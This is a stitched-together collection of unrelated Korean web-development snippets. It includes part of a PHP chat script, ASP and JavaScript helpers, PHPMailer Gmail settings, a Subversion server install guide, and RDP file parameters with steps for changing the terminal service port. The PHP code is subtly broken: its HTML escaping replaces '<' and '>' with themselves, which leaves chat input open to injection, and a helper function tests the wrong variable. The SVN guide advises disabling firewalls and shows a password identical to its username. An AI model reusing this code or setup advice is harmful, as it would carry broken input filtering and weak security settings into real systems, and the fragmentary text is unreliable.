type='text/javascript'>location.href='msg.php#ad';</script>"; exit; } //ban_! 명령어 실행시... if($_SESSION['lt']&&eregi("ban_!",$c)){ $c = str_replace("ban_!", "", $c); $c = str_replace(" ", "", $c); $c = str_replace("abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+|","",$c); if(!filesize("msg_ban/_ban.dat")){$dabs = fopen("msg_ban/_ban.dat", "w+");fwrite($dabs, "_\n");fclose($dabs);} $ban = fopen("msg_ban/_ban.dat", "a+"); fwrite($ban, $c."\n"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; } // ban_cls_! 명령어 실행시... if($_SESSION['lt'] && eregi("ban_cls_!",$c)){ $c = str_replace("ban_cls_!", "", $c); $c = str_replace(" ", "", $c); if($c!="all"){ $dlist = str_replace($c."\n", "", $dlist); }else{$dlist="\n";} $ban_cless = fopen("msg_ban/_ban.dat", "w"); fwrite($ban_cless, $dlist); fclose($ban_cless); fwrite($dbs, "<font style='color:yellow'>★알★림★</font> \n <font style='font-weight:bold;color:blue;background:white;font-size:10pt'>강퇴된 아이피가 초기화 되었습니다.</font> \n (".date("Y-m-d H:i:s").") \n"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; exit; } if(!$_SESSION['lt']){$n = strip_tags(substr($n,0,15));} //도배 방지기능 함수. if(!$_SESSION['last_content'])$_SESSION['last_conetnt']= sha1(md5(rand(0,300))); if(!$_SESSION['last_num'])$_SESSION['last_num']=0; if(@eregi($_SESSION['last_content'],$c) && $_SESSION['last_content']){ $_SESSION['last_content'] = $c; $_SESSION['last_num']++; if($_SESSION['last_num']>4){ $_SESSION['last_num']=0; echo "<script type='text/javascript'>alert('도배방지 솔루션이 작동하였습니다!');location.href='{$_SERVER[HTTP_REFERER]}';</script>"; exit; } } $_SESSION['last_content'] = $c; // 빈문자열 경우 리턴 function isblank($str) { $c=str_replace(" ","",$c); $c=str_replace("\n","",$c); $c=strip_tags($c); $c=str_replace(" ","",$c); $c=str_replace(" ","",$c); if(eregi("[^[:space:]]",$c)) return 0; return ; } //부적절한 루틴 필터링 함수. $c = str_replace("&", "&", $c); $n = str_replace("ⓒ", "©", $n); $c = str_replace("ː", "", $c); $n = str_replace("ː", "", $n); $c = str_replace("\n", "", $c); $n = str_replace("\n", "", $n); $c = str_replace("<", "<", $c); $n = str_replace("<", "<", $n); $c = str_replace(">", ">", $c); $n = str_replace(">", ">", $n); // 한글자르기 루틴. if(strlen($c)>80 && !eregi("http://([^\"'<>\r\n\s+)`i",$c))$c = cut_str($c,80,2); else if(strlen($c)>80 && !eregi("http://([^\"'<>\r\n\s+)`i",$c))$c = substr_kr($c,80,2); $c = preg_replace("`http://([^\"'<>\r\n\s]+)`i", "<a target='_blank' title='링크로 이동' href='http://$1'>http://$1</a>", $c); // URL, Mail을 자동으로 체크하여 링크만듬 function autolink($c) { // URL 치환 $index_pattern = "/([^\"\'\=\>])(mms|http|HTTP|ftp|FTP|telnet|TELNET)\:\/\/(.[^ \n\<\"\']+)/"; $c = preg_replace($index_pattern,"\\1<a href=\\2://\\3 target=_blank>\\2://\\3</a>", $c); // 메일 치환 $email_pattern = "/([ \n]+)([a-z0-9\_\-\.]+)@([a-z0-9\_\-\.]+)/"; $c = preg_replace($email_pattern,"\\1<a href=mailto:\\2@\\3>\\2@\\3</a>", $c); return $c; } // 홈페이지 주소가 올바른지 검사 function isHomepage( $c ) { if(eregi("^http://([a-z0-9\_\-\./~@?=&-\#{5,}]+)", $c)) return $c; else return ; } //if(!$c){$c="<b>내용을 입력하십시오!</b>";} if(!$c){echo "<script type='text/javascript'>alert('메시지를 입력하세요.'); location.href='{$_SERVER[HTTP_REFERER]}';</script>";exit;} if(!$n){$n="NoName".rand(0,99999);} //관리자가 아닐때... if(eregi("-/",$n) && !$_SESSION['lt']){ $n ="사칭_".rand(0,99999); } //관리자 표시... if($_SESSION['lt']){ if(!eregi("-/",$n))$n="-/".$n; } //욕설일경우, 욕설 루틴 실행. for($den=0;$den<=$dcount;$den++){ if(@eregi($denys[$den],$c)){ $denstr = round(strlen($denys[$den])/2,0); $denr="[욕설_"; for($dst=1;$dst<=$denstr;$dst++){$denr=$denr."*";} $denr=$denr."_욕설]"; $c = str_replace($denys[$den], $denr, $c); break; } } //euc-kr 및 uft-8 인코딩 엔진 function ToEucKr( $msg){ return iconv("UTF-8","euc-kr//IGNORE",$msg ); } function ToUTF8( $msg){ return iconv("euc-kr","UTF-8",$msg); } $_SESSION['n']=$n; fwrite($dbs, $n."\n".$c."\n".$_SERVER[REMOTE_ADDR]."\n"); echo "<script type='text/javascript'>location.href='msg.php#ad';</script>"; exit;} ?> <hr noshade='noshade' /> <div style="font-size:9pt;"> <? echo "<p title='$ip'>현재 접속자 :"."$total_user 명</p>"; // 출력 ?></div> <!-- 라이센스 --> <div align='right' style='text-align:right;font-size:9pt'>Crade by(yamgws13) <a href='http://yangws.myfeelclub.com/' style='font-weight:bold;font-size:8pt' target='_down'>Click!</a></div> </html> |
PHP에서 제공하는 exif관련 함수를 전혀 사용하지 않고 hexData를 분석하여 추출해 내므로 별도의 EXIF 관련 외부 라이브러리를 설치하지 않으셔도 이용하실 수 있습니다.
사용하는 법은 아래와 같습니다.
<?php
$exif = new exif('image.jpg');
print_r($exif ->getImageInfo());
?>
exif::exif() 함수로 읽어올 이미지 파일을 설정한후
exif::getImageInfo() 함수로 해당 이미지의 EXIF 및 기타 모든 정보를 리턴받습니다.
- 클래스 설명
- exif class
*exif::exif("(string)파일경로", "(string)언어설정(en|ko)", "(boolen)디버그 정보 출력여부");
*exif::getImageInfo(void);
라이센스는 기본 MIT 을 따릅니다.
Copyright (c) 2010 M_FireFox
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
ASP 용은 없을까 검색해 보니 있네요.
http://www.spaz.com/mr/work/aspexiffuncs/
<!--
function changeHeight() {
//아이프레임 안쪽 페이지 높이를 먼저구하신후
var the_height=document.getElementById('content').contentWindow.document.body.scrollHeight;
// 아이프레임 높이를 바꿔주시면 됩니다.
document.getElementById('content').height=the_height; }
//-->
</script>
<iframe id='content'
frameborder=0
width=100%
scrolling=no
onLoad="changeHeight();"
src='content.php'>
</iframe>
지금까지 개발 환경이 euc-kr이 대세라 urldecode 함수를 찾아 봐도 전부 euc-kr 기반이다.
utf-8에 해당하는 게 없는지 뒤졌더니 중국 사이트가 있더라.
주석이 한자로 적혀 있는 특이한 경험 ㅋㅋ
출처 : http://www.cftea.com/c/2009/10/OOXX97QIONHANAF9.asp
Function UrlDecode_GBToUtf8(ByVal str)
Dim B,ub ''中文字的Unicode码(2字节)
Dim UtfB ''Utf-8单个字节
Dim UtfB1, UtfB2, UtfB3 ''Utf-8码的三个字节
Dim i, n, s
n=0
ub=0
For i = 1 To Len(str)
B=Mid(str, i, 1)
Select Case B
Case "+"
s=s & " "
Case "%"
ub=Mid(str, i + 1, 2)
UtfB = CInt("&H" & ub)
If UtfB<128 Then
i=i+2
s=s & ChrW(UtfB)
Else
UtfB1=(UtfB And &H0F) * &H1000 ''取第1个Utf-8字节的二进制后4位
UtfB2=(CInt("&H" & Mid(str, i + 4, 2)) And &H3F) * &H40 ''取第2个Utf-8字节的二进制后6位
UtfB3=CInt("&H" & Mid(str, i + 7, 2)) And &H3F ''取第3个Utf-8字节的二进制后6位
s=s & ChrW(UtfB1 Or UtfB2 Or UtfB3)
i=i+8
End If
Case Else ''Ascii码
s=s & B
End Select
Next
UrlDecode_GBToUtf8 = s
End Function
Link1 | http://phpmailer.worxware.com/ | ||||
Link2 | http://www.google.com/support/a/bin/answer.py?answer=166852 |
<?php
require_once 'class.phpmailer.php';
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->SMTPAuth = true;
$mail->SMTPSecure = 'ssl';
$mail->Host = 'smtp.gmail.com';
$mail->Port = 465;
$mail->Username = $gmail_username;
$mail->Password = $gmail_password;
$mail->SetFrom($fromemail, '=?'.$charset.'?b?'.base64_encode($fromname).'?=');
$mail->Subject = '=?'.$charset.'?b?'.base64_encode($subject).'?=';
$mail->ContentType = $contenttype;
$mail->CharSet = $charset;
$mail->Encoding = 'base64';
$mail->Body = $contents;
$mail->AddAddress($toemail, '=?'.$charset.'?b?'.base64_encode($toname).'?=');
for($i = 0; $i < 3; $i ++) {
if($mail->Send()) return;
sleep(1);
}
라이브러리의 라이센스가 LGPL 2.1 입니다.
원본 예제대로 하면 한국어 깨지니 위처럼 하세요.
파일첨부도 되네요. 필요없어서 안해봤음.
링크2 는 발송 제한 내용.
0.시작하면서...
개발자라면 한번쯤 소스 관리에 대해서 고민해 봤을 것이다. 특히나 수정이 잦은 프로그램이라면 더욱 더 버전 관리가 중요한데, 이걸 일일이 폴더나 날짜별로 관리하다가는 낭패를 보기 십상이다. 그래서 버전관리 프로그램을 사용하는데, 대표적인 것으로 소스세이프(Source Safe), CVS, Subversion 있다.
윈도우 프로그래머라면 소스세이프가 굉장히 유용한데(Visual Studio를 설치하면 자동으로 깔리므로... ㅡ_ㅡa..), 사용해보니 속도가 무지 느리고 VC 또한 한참 뒤에 뜨게하는 무시무시한 단점이 있어서 다른 것을 찾다가 서브버전을 선택하게 되었다.
서브버전의 장점은 인터넷에 잘 나오므로 굳이 이야기하지 않겠고, 실제 윈도우 버전 설치 및 설정에 대해서 알아보자.
1.Tortoise 서브버전(Subversion) 클라이언트 설치
1.1 Tortoise 서브버전(Subversion) 클라이언트 다운로드
서브버전 서버를 설치한다면서 왜 클라이언트를 설치하는 것일까? 그것은 서버 설치후 나머지 작업을 편리하게 할 수 있기 때문이다.
서브버전 클라이언트는 http://tortoisesvn.net/downloads 에서 다운 받을 수 있다.
<Tortoise 서브버전 클라이언트>
1.2 Tortoise 서브버전(Subversion) 클라이언트 설치
클라이언트 설치는 간단하다. 무조건 "Next" 버튼을 눌러서 완료를 하면 알아서 다 해준다.
<Tortoise 서브버전(Subversion) 클라이언트 설치>
설치 후 탐색기에서 오른쪽 버튼을 클릭했을 때 아래와 같은 메뉴가 뜨면 정상적으로 설치된 것이다.
<설치 완료>
2.서브버전(Subversion) 서버 설치
2.1 서브버전(Subversion) 서버 다운로드
서브버전의 윈도우용 설치 파일은 http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=91 에서 찾을 수 있다. 위 사이트로 이동하면 아래와 같은 화면을 볼 수 있는데, 최신버전의 설치 파일을 다운받아서 설치하도록 하자.
<서브버전 서버 파일 다운로드>
2.2 서브버전(Subversion) 설치
설치 과정은 아주 간단하다. 윈도우 인스톨 파일을 더블클릭해서 기본 옵션으로 설치하면 된다. "Next" 를 계속해서 클릭하여 완료하자.
<인스톨 화면>
2.3 서브버전(Subversion) 설정
2.3.1 서브버전(Subversion) 데이터 폴더 생성(Repository)
서버 설치가 끝났으니 데이터를 저장할 폴더를 생성해야한다. 저장소는 하드디스크의 특정 폴더로 하면 되고, 임의의 이름으로 선택 가능하다. 일단 D:\Repository로 해서 생성하자.
<저장소 생성>
2.3.2 서비스(Service) 등록
서브버전 서버를 서비스로 등록하여 윈도우 부팅시에 자동으로 실행되도록 하자. 윈도우 서비스 등록은 sc.exe 프로세스로 등록가능하다. cmd.exe를 실행해서 아래와 같이 입력하도록 하자.
<서비스 등록>
아래는 서브버전 서비스를 등록하고 서비스를 해제하는 명령이다.
- 서비스 등록 : sc create svn binpath= "C:\Program Files\Subversion\bin\svnserve.exe --service -r D:\repository" displayname= "Subversion Server" depend= Tcpip start= auto
- 서비스 해제 : sc delete svn displayname= "Subversion Server"
별다른 문제가 없다면 성공적으로 등록했다는 메시지가 출력될 것이다.
2.3.3 방화벽(Firewall) 해제
서브버전은 TCP 3690 포트와 UDP 3690 포트를 사용한다. 윈도우 방화벽 및 Anti-Virus의 방화벽을 해제하도록 하자.
아래는 윈도우 방화벽에서 포트를 추가하는 방법이다. TCP와 UDP 각각 등록해서 모두 가능하도록 하자.
<방화벽 해제>
2.4 저장소(Repository) 생성
이제 서버 설정이 끝났으니 실제로 소스 또는 데이터를 관리할 저장소(Repository)를 생성해야 한다. 서브버전 관련 데이터는 D:\Repository 에 저장하기로 했으므로 하위 폴더에 저장소를 생성하자.
2.4.1 커맨드 라인(Command Line) 방식
cmd.exe 를 실행한 뒤 D:\Repository 폴더로 이동하여 아래와 같이 입력한다.
위의 파란색으로 표시된 test를 유의해서 보자. test 대신에 생성을 원하는 폴더명으로 바꿔서 입력하면 된다.
아래는 위의 명령을 실행한 후 결과 화면이다.
<저장소 생성>
2.4.2 Tortois Subversion 클라이언트를 사용한 방식
Tortois Subversion 클라이언트를 설치했다면 좀더 편한 방법으로 생성할 수 있다. 아래는 Tortoise Subversion 클라이언트를 통해 생성하는 방법이다.
<저장소 생성>
D:\Repository 폴더에 생성할 저장소 이름(Test)의 폴더를 미리 생성한 후 Tortoise Subversion 클라이언트에서 "Create repository here"를 클릭하면 된다.
파일 시스템을 선택하는 다이얼로그가 뜨면 "Native filesystem(fsfs)"를 선택한 후 OK를 눌러서 생성하면 된다.
2.5 저장소 접근 설정
저장소를 생성하고 나면 아래와 같은 폴더와 파일들이 생긴다.
<저장소 폴더 상태>
이 중에서 접근 권한을 제어하기위해서는 2개의 파일을 손봐야 하는데 다음 항목을 보자
2.5.1 svnserve.conf
- ### This file controls the configuration of the svnserve daemon, if you
### use it to allow access to this repository. (If you only allow
### access through http: and/or file: URLs, then this file is
### irrelevant.) - ### Visit http://subversion.tigris.org/ for more information.
- [general]
### These options control access to the repository for unauthenticated
### and authenticated users. Valid values are "write", "read",
### and "none". The sample settings below are the defaults.
anon-access = none <== 로그인 하지 않은 사용자는 아무것도 못하도록 한다.
auth-access = write - ### The password-db option controls the location of the password
### database file. Unless you specify a path starting with a /,
### the file's location is relative to the conf directory.
### Uncomment the line below to use the default password file.
password-db = passwd <== ID와 Password를 저장하는 파일 이름 - ### The authz-db option controls the location of the authorization
### rules for path-based access control. Unless you specify a path
### starting with a /, the file's location is relative to the conf
### directory. If you don't specify an authz-db, no path-based access
### control is done.
### Uncomment the line below to use the default authorization file.
#authz-db = authz - ### This option specifies the authentication realm of the repository.
### If two repositories have the same authentication realm, they should
### have the same password database, and vice versa. The default realm
### is repository's uuid.
realm = KKAMAGUI Repository <== 접근했을 때 클라이언트에게 보여줄 저장소 메시지
위와 같이 파일을 수정한 다음 저장한다.
2.5.2 passwd
- ### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line. - [users]
# harry = harryssecret
# sally = sallyssecret
kkamagui = kkamagui
위와 같이 ID = Password의 형태로 입력한 뒤 저장하면 된다.
3.간단한 서브버전(Subversion) 서버 테스트
테스트 방법은 간단하다. 탐색기에서 오른쪽 버튼을 눌러서 표시되는 메뉴에서 "Repo-Browser" 를 클릭하여 아래와 같은 창이 뜨면 서브버전 서버가 설치된 주소와 저장소 이름을 같이 입력해주면 된다.
<Repo-browser 메뉴>
이제 주소와 저장소의 이름을 입력하자. 주소를 kkamagui.egloos.com, 그리고 저장소를 test라고 가정하고 입력하면 아래와 같이 될 것이다.
<서브버전 주소 입력>
"OK" 버튼을 누르면 실제 서버에 접속해서 저장소 정보를 얻어오는데, 아래와 같은 화면이 표시될 것이다. 실제로 정상적으로 접속이 된다면 "test" 항목 아래에 아무것도 표시되지 않을 것이지만 문제가 발생한다면 아래와 같이 에러메시지가 표시될 것이다.
<Repo-Browser 실행-에러발생>
위와 같은 에러 메시지가 표시되면 처음 단계부터 설정을 다시 한번 확인하자. 아무런 에러 메시지가 없다면 정상적으로 설치된 경우이므로 열심히 Check-out, commit, update를 반복하면 된다.
4.서브버전(Subversion) 서버를 설치하지 않고 로컬(Local)에서 소스 관리하기
서브버전 서버가 설치되어있어야 꼭 소스 버전 관리가 가능한 것일까? "답은 그렇지 않다" 이다.
Tortoise Subversion 클라이언트를 설치했다면 로컬에 저장소를 만들고 file:/// 키워드로 접근하여 소스 버전을 관리하는 것이 가능하다.
4.1 저장소 생성
위의 "2.4 저장소(Repository) 생성" 부분을 참고해서 로컬에 Tortoise를 이용하여 저장소를 생성하자. 그리고 파일들을 수정해서 특정 유저만 접근가능하도록 수정하자.
4.2 저장소 접근 테스트
위의 "3.간단한 서브버전(Subversion) 서버 테스트" 부분을 참고하여 "Repo-browser"를 실행하고 주소에 아래와 같이 입력한 후 OK를 누르자.
정상적으로 실행되면 아래와 같은 화면이 표시될 것이다.
<Repo-browser 실행>
아무런 에러가 없으므로 정상적으로 실행되었음을 알 수 있다. 이렇게 함으로써 서버를 설치하지 않고도 로컬에서 소스 버전관리를 할 수 있다.
5.기타 팁
5.1 버전 관리시 무시할 파일 확장자 설정
소스를 컴파일해서 나오는 object 파일이나 기타 필요없는 부산물들은 버전관리를 할 필요가 없다. 그런 파일들을 일일이 수작업으로 제외하기는 상당히 귀찮은 작업인데, 다행이 Tortoise에서 이것을 편리하게 할 수 있는 옵션이 있다.
"Settings" 메뉴에 가면 아래와 같은 화면이 표시된다. 여기에 "Global Ignore Pattern" 항목에 무시할 파일의 확장자나 파일명을 입력하면 된다.
<확장자 및 파일명 입력>
6.마치면서...
이로서 그 지긋지긋하게 느린 소스세이프(SourceSafe)에서 벗어날 수 있게 되었다(이렇게 좋을 수가... ㅜ_ㅜ). 소스 버전 관리를 통해 프로젝트를 보다 효율적으로 관리하고 협업의 능률을 최대한 활용하자. @0@)/~~!!
7.참고 사이트
- http://blog.naver.com/mazinggaa?Redirect=Log&logNo=130023412047
- 설치에 대해서 아주 자세하게 잘 나와있다. 부족한 부분은 여기서 참고하도록 하자.
출처 : http://geek43.springnote.com/pages/1083496
원문 : http://kkamagui.springnote.com/pages/585605
1. 자바스크립트란?
- 자바스크립트는 선마이크로시스템즈(Sun Micro Systems)와 넷스케이프에서 공동으로 개발한 스크립트 언어
- 자바스크립트 정적인 HTML 문서를 동적을 만드는 것
스크립트 언어 : 컴퓨터 프로세서가 아닌 다른 프로그램에 의해서 변역이 되거나 수행되어지는 프로그램의 명령어를 말한다.
2. 자바스크립트의 특징
- 자바스크립트는 인터프리팅 언어
- 데이터 타입에 구애 받지 않음
- 대소문자 구별
- 객체지향스크립트 언어
3. 자바스크립트 기본 문법
- javascript문법 직접 입력
<Head>
<script language="javascript">
<!--
스크립트 문법
//-->
</script>
</Head>
예
<html>
<head>
<title>소스1-1</title>
<script>
document.write("<h3>예제 1: 이것이 기본 태그이다.</h3>")
</script>
<script language="javascript">
document.write("<h3>예제 2: langage에서 스크립트 언어 종류를 결정한다.</h3>");
// 주석 : 스크립트를 라인단위로 수행되기 때문에 윗문장과 아랫문장을 연결하기 위해서는
// 반드시 '\' 역슬래쉬를 사용한다.
document.write("<h3>예제 2: langage에서 스크립트 언어\
종류를 결정한다.</h3>");
</script>
<script language="javascript1.2">
document.write("<br>예제 3: 이렇게 스크립트버전을 쓸 수도 있다.");
</script>
</head>
<body>
</body>
</html>
- Script file(js파일명) 호출
<html>
<head>
<script language="javascript" scr="script file">
</script>
</head>
- js 파일을 이용한 자바스크립트
▷ test.js
document.write("자바스크립트 파일을 호출시 보입니다.")
document.write("<br>짜!잔... 불러올 파일 입니다.")
▷ 새문서.htm
<html>
<head>
<title>예제</title>
<script>
document.write("문서 안에서 출력!")
</script>
<script language="javascript" src="test.js">
document.write("보이나요?") // 적용이 되지 않는다.
</script>
<script>
document.write("보이나요? 이건 보이죠")
</script>
</head>
<body>
</body>
</html>
4. 참고
- navigator는 현재 사용하고 있는 접속자의 웹브라우저의 기본적인 정보를 나타내는 객체
<html>
<head>
<title>소스1-2</title>
<script lanuage="JavaScript">
<!--
document.write("웹브라우저 종류 : ", navigator.appName,"<BR>")
document.write("웹브라우저 코드명 : ", navigator.appCodeName,"<BR>")
document.write("웹브라우저 버전 : ", navigator.appVersion,"<BR>")
document.write("사용자 웹브라우저 정보 : ", navigator.userAgent,"<BR>")
document.write("시스템코드 : ", navigator.platform,"<BR>")
document.write("플러그인 정보 : ", navigator.plugins,"<BR>")
document.write("mime 정보 : ", navigator.mimeTypes,"<BR>")
document.write("웹브라우저 언어 : ", navigator.language,"<BR>")
//-->
</script>
</head>
</html>
- 변수 사용
<html>
<head>
<title>소스1-2</title>
<script lanuage="JavaScript">var version</script>
<script lanuage="JavaScript1.0">version=1.0</script>
<script lanuage="JavaScript1.1">version=1.1</script>
<script lanuage="JavaScript1.2">version=1.2</script>
<script lanuage="JavaScript1.3">version=1.3</script>
<script lanuage="JavaScript1.4">version=1.4</script>
<script lanuage="JavaScript1.5">version=1.5</script>
<script lanuage="JavaScript">
document.write("현재 사용 버전 ", version);
</script>
</head>
<body>
</body>
</html>
- vbscript, bgColor 사용예
<html>
<head>
<title>소스1-2</title>
<script>
document.write("하하하 신나는 하루<br>")
</script>
<script language="JavaScript">
document.write("호호호 재미난 하루")
</script>
<script language="vbscript">
// vbscript는 익스플러로에서만 보임
document.write(date)
</script>
<script>
<!--
document.bgColor="yellow"
//-->
</script></head>
<body>
</body>
</html>
<script language="javascript" src="/js/prototype.js"></script>
<script language="javascript" src="/js/jquery-1.4.1.min.js"></script>
<script type="text/javascript">
var $jq = jQuery.noConflict();
$jq(document).ready(function(){
function~~~
});
</script>
위와 같이 하면 prototype 과 jQuery 를 같이 사용 할 수 있습니다.
조금 더 간결하고 직관적이게, 스크립트 미동작 환경을 고려해서 만들었습니다.
---------------------------------------- script 설정 ----------------------------------------
<script type="text/javascript" src="./FileButton.js"></script>
<script type="text/javascript">
var myFileButton = new FileButton("imageswap", "imagesrc"); //new FileButton("true 값을 줘야 하는 사용자 설정 attribute name", "꾸며질 이미지 url")
window.onload = function () {
//myFileButton.run(); //문서로딩 후 한꺼번에 바꿈
}
</script>
---------------------------------------- script 설정 ----------------------------------------
해당 FileButton 객체는 3가지 기능을 지원합니다.
swap: file 을 object 로 인식하여 꾸밉니다.
write: document.write() 메소드 처럼 html 을 그대로 넣어 전달합니다.
run: 문서 전체 input 노드를 순회하며 설정과 맞는 file component 를 꾸밉니다.
최종적으로 파일버튼을 꾸미는 메소드는 swap() 메소드 이며,
객체생성시 두번째 매개변수
"꾸며질 이미지 url" 은 해당이미지가 로딩되는 즉시 꾸며질 input type="file" component 의 width, height 를 자동으로 잡아주며,
잘못된 주소이거나 이미지가 로딩되지 않으면 해당 파일버튼은 변환되지 않습니다.
페이지 로딩자체가 큰 경우가 아니라면 문서 로딩 후 한번에 run() 이 좋겠지만,
문서로딩도 약간 딜레이가 있고, 파일찾기 버튼도 여러개가 있을 경우 write() 형식으로 해주는 것이 좋을것 같습니다.
흔하진 않지만 script 옵션을 꺼 놓은 유저에게는 순수 html component 를 보여주어야 하기때문에 이럴 경우엔 그냥 write() 메소드 보다는 swap() 메소드를 쓰는것이 좋겠구,
각각 장점과 단점이 있으며 선택해서 쓰시면 될 것 같습니다.
Response.Expires = 0
Response.ExpiresAbsolute = now() - 1
Response.AddHeader "pragma","no-cache"
Response.AddHeader "cache-control","private"
Response.CacheControl = "no-cache"
IIS 해당 웹서비스 등록정보 -> HTTP헤더 메뉴 상단 ->
[컨텐츠만료지정]체크 -> [즉시만료] 선택
성능 및 스타일 향상에 도움이 되는 28가지 ASP 팁 http://www.microsoft.com/korea/technet/IIS/Tips/asptips17_29.mspx
CursorType 및 상수 http://www.nextstep.co.kr/?page=82
RDP File Settings
The new Terminal Services client (version 2600 and newer, 5.1.2600.x) introduces quite a few new capabilities. A major client-side convenience is that connection settings can be saved in an RDP file which can then be easily edited, copied, and distributed.
Unfortunately, the parameters are not nearly as well documented as the ActiveX control parameters yet; this will presumably change before the .NET server release.
In the interim, I've put together a summary of information I have about the parameters contained in the files.
Which Terminal Services/Remote Desktop Client?
The newest ones, versions 5.1.2600.x and up. The client can be downloaded from the Remote Desktop Connection page - and despite the header, it is the client to use for connecting to either Terminal Services or XP Remote Desktop.
You can install it on any true 32-bit Windows OS except Windows XP and .NET - they already come with their own version.
Making an RDP File
You can create an RDP connection file using a text editor; there is nothing special about its structure to prevent this; in fact, the Terminal Services people appear to have been assiduous about making it simple and easy to use; the order in which parameters are placed doesn't even matter.
The simplest way to do it initially, though, is to run the mstsc client, configure basic settings you want, then choose "Save As..." on the General tab. You can then open the resulting file in Notepad and work with it.
RDP File Structure
The file structure is relatively simple. The standard file consists of several lines; each has parameter name, type, and value, separated by a ":". Any colons after the second one appear to be ignored (necessary so that file paths can be embedded). MSTSC also appears to silently ignore anything it cannot parse, so you can insert freeform comments into the file.
For example, here are two lines which tell MSTSC to establish a 1024x768 desktop when it connects:
desktopheight:i:768
desktopwidth:i:1024
The first element in each line is the parameter name. Immediately following it, after the first colon, is the parameter type; as far as I can tell, there are only 3 types of values -
RDP File Parameters
Below is a table listing all of the parameters I have encountered so far. I list the parameter name, type, an example value, and then include notes on usage where possible.
Parameter | Value | Notes | |
alternate shell | s | c:\winnt\system32\notepad.exe | Sets the shell to be used within the Terminal Services session. This can be used to set an alternate shell such as progman.exe; you can also use it to set the application which the user runs on logon to the Terminal Server. |
audiomode | i | 2 | Known values: 0 - Bring to this computer 1 - Leave at remote computer 2 - Do not play |
auto connect | i | 0 | 0 or 1 |
autoreconnection enabled | i | 1 | Set to 1 to connect automatically when file is opened. |
bitmapcachepersistenable | i | 1 | ? 1 maintains bitmap cache between sessions |
compression | i | 1 | ? 1 means use extra compressions |
connect to console | i | 1 | 0 - connect to a virtual session 1 - connect to the console session |
desktopheight | i | 768 | height of session desktop in pixels |
desktopwidth | i | width of session desktop in pixels | |
disable cursor setting | i | 0 | ? |
disable full window drag | i | 1 | set to 1, disables display of window contents while dragging in session |
disable menu anims | i | 1 | set to 1, disables menu animations in session |
disable themes | i | 1 | set to 1, disables use of themes in session |
disable wallpaper | i | 1 | set to 1, disables display of wallpaper in session |
displayconnectionbar | i | 1 | Set to 1, displays the connection bar in a fullscreen session |
domain | s | HQ | domain name to use for logon |
full address | s | 192.168.1.1:33389 | IP address/name of server (and optional alternate port) |
keyboardhook | i | 2 | For applying standard Windows key combinations 0 - On the local computer 1 - On the remote computer 2 - In fullscreen mode only |
maximizeshell | i | 0 | set to 1, maximizes any alternate shell used in the session |
password 51 | b | (big long binary hash) | Ifyou choose to save the connection password, this will be a large binary hash value |
port | i | 3389 | |
redirectcomports | i | 1 | set to 1, redirects client COM ports in session (XP/.NET only) |
redirectdrives | i | 1 | set to 1, redirects client drives in session (XP/.NET only) |
redirectprinters | i | 1 | set to 1, redirects client printers in session |
redirectsmartcards | i | 1 | set to 1, redirects client smart cards in session (XP/.NET only) |
screen mode id | i | 1 | FullScreen vs. normal 0 - ? 1 - windowed 2 - fullscreen |
server port | i | 3389 | You can specify the port separately from the "full address" parameter. Thanks to James from acmewidgets.com for finding this out! |
session bpp | i | 16 | bit depth for session - 8, 16, or 24. Only 8 is valid for Windows 2000 Terminal Servers |
shell working directory | s | c:\program files\microsoft office | Working directory if an alternate shell was specified. |
smart sizing | i | Scale the client window display of desktop when resizing 0 or not present - Do not scale 1 - Scale (Takes extra resources to scale) | |
username | s | administrator | name of user logging on |
winposstr | s | 0,1,0,249,808,876 | ? Not sure about the details on this one. There are always 6 comma-separated values. I would guess that these are presets for position and "window mode" sizes - maximized versus sized. |
An Example RDP File
This is an example RDP connection file. It starts maximized for its desktop size (800x600); color depth is 16-bit; it will attempt to automatically start connecting to 192.168.1.12 on launch; and so on...
screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 auto connect:i:1 full address:s:192.168.1.12 compression:i:1 keyboardhook:i:2 audiomode:i:2 redirectdrives:i:0 redirectprinters:i:0 redirectcomports:i:0 redirectsmartcards:i:0 displayconnectionbar:i:1 username:s:Administrator domain:s:AKA alternate shell:s: shell working directory:s: disable wallpaper:i:1 disable full window drag:i:1 disable menu anims:i:1 disable themes:i:1 bitmapcachepersistenable:i:1
서버에 설치된 터미널 서비스의 포트를 변경하려면
- 시작 - 실행을 눌러 레지스트리 편집기를 실행한다.
- HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\TerminalServer\Wds\Repwd\Tds\Tcp 로 이동한다. - 이름 종류 데이터
- PortNumber REG_DWORD 0x00000d3d(3389)
- 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력한다.
- HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\TerminalServer\WinStations\RDP-Tcp 로 이동한다. - 이름 종류 데이터
- PortNumber REG_DWORD 0x00000d3d(3389)
- 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력를 입력한다.
- 클라이언트 연결 관리자로 새 연결을 만들때 기입한 단어가 연결 이름이 된다.
터미널 접속 클라이언트 포트를 변경하려면
- 클라이언트 연결 관리자를 연다.
- 파일 메뉴에서 새연결을 클릭한다.
- 클라이언트 연결 관리자 마법사 시작창이 뜬다.
- 새 연결을 만들면 연결 관리자 목록에 아이콘이 하나 생성되어 있다.
